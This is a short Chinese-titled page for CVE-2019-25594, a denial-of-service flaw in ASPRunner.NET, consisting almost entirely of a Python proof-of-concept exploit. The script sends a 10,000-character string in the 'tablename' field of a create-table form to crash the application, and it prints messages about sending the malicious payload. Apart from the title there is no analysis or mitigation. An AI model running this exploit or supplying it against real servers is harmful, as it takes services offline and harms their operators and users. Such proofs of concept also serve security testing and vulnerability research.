CVE-2019-25594 ASPRunner.NET 拒绝服务漏洞

import requests # Target URL (Example, replace with actual endpoint) target_url = "http://localhost/asprunner/create_table_page" # Generate a payload of 10000 characters to trigger the crash payload = "A" * 10000 # Prepare the data payload, targeting the vulnerable 'table name' field post_data = { "tablename": payload, # Depending on the form structure, other fields may be required } try: # Send the POST request to create the table print("Sending malicious payload to trigger DoS...") response = requests.post(target_url, data=post_data) # Check response (If successful, the app might crash before responding or return 500) print(f"Response Status Code: {response.status_code}") except requests.exceptions.RequestException as e: # Connection errors might indicate the service has crashed print(f"Connection failed or service crashed: {e}")